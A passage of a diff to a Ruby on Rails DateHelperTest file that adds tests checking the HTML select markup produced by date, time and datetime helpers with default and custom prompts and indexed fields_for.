+    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]",
+      :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
+  end
+
   def test_select_time
     expected = %(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -995,6 +1158,40 @@ class DateHelperTest < ActionView::TestCase
     assert_nothing_raised { select_time(Date.today) }
   end
 
+  def test_select_time_with_default_prompt
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :prompt => true)
+  end
+
+  def test_select_time_with_custom_prompt
+
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true, :include_seconds => true,
+      :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
+  end
+
   def test_date_select
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
@@ -1047,6 +1244,38 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal(expected, output_buffer)
   end
 
+  def test_date_select_within_fields_for_with_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = 27
+
+    fields_for :post, @post, :index => id do |f|
+      concat f.date_select(:written_on)
+    end
+
+    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
+    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
+    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
+
+    assert_dom_equal(expected, output_buffer)
+  end
+
+  def test_date_select_within_fields_for_with_blank_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = nil
+
+    fields_for :post, @post, :index => id do |f|
+      concat f.date_select(:written_on)
+    end
+
+    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
+    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
+    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
+
+    assert_dom_equal(expected, output_buffer)
+  end
+
   def test_date_select_with_index
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
@@ -1062,7 +1291,6 @@ class DateHelperTest < ActionView::TestCase
 
     expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
     expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
     expected << "</select>\n"
 
     assert_dom_equal expected, date_select("post", "written_on", :index => id)
@@ -1149,13 +1377,13 @@ class DateHelperTest < ActionView::TestCase
 
     assert_dom_equal expected, date_select("post", "written_on", :include_blank => true)
   end
-  
+
   def test_date_select_with_nil_and_blank_and_order
     @post = Post.new
 
     start_year = Time.now.year-5
     end_year   = Time.now.year+5
-    
+
     expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i"/>' + "\n"
     expected <<   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     expected << "<option value=\"\"></option>\n"
@@ -1277,6 +1505,46 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, date_select("post", "written_on", { :date_separator => " / " })
   end
 
+  def test_date_select_with_default_prompt
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :prompt => true)
+  end
+
+  def test_date_select_with_custom_prompt
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day'})
+  end
+
   def test_time_select
     @post = Post.new
     @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
@@ -1403,6 +1671,48 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, time_select("post", "written_on", { :time_separator => " - ", :include_seconds => true })
   end
 
+  def test_time_select_with_default_prompt
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    expected << %(<option value="">Hour</option>\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+        expected << %(<option value="">Minute</option>\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", :prompt => true)
+  end
+
+  def test_time_select_with_custom_prompt
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    expected << %(<option value="">Choose hour</option>\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+        expected << %(<option value="">Choose minute</option>\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute'})
+  end
+
   def test_datetime_select
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 16, 35)
@@ -1432,40 +1742,38 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, datetime_select("post", "updated_at")
   end
 
-  uses_mocha 'TestDatetimeSelectDefaultsToTimeZoneNowWhenConfigTimeZoneIsSet' do
-    def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
-      time = stub(:year => 2004, :month => 6, :day => 15, :hour => 16, :min => 35, :sec => 0)
-      time_zone = mock()
-      time_zone.expects(:now).returns time
-      Time.zone_default = time_zone
-      @post = Post.new
+  def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
+    time = stub(:year => 2004, :month => 6, :day => 15, :hour => 16, :min => 35, :sec => 0)
+    time_zone = mock()
+    time_zone.expects(:now).returns time
+    Time.zone_default = time_zone
+    @post = Post.new
 
-      expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-      expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-      expected << "</select>\n"
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
 
-      expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-      expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-      expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
 
-      expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-      expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-      expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
 
-      expected << " &mdash; "
+    expected << " &mdash; "
 
-      expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-      expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
-      expected << "</select>\n"
-      expected << " : "
-      expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
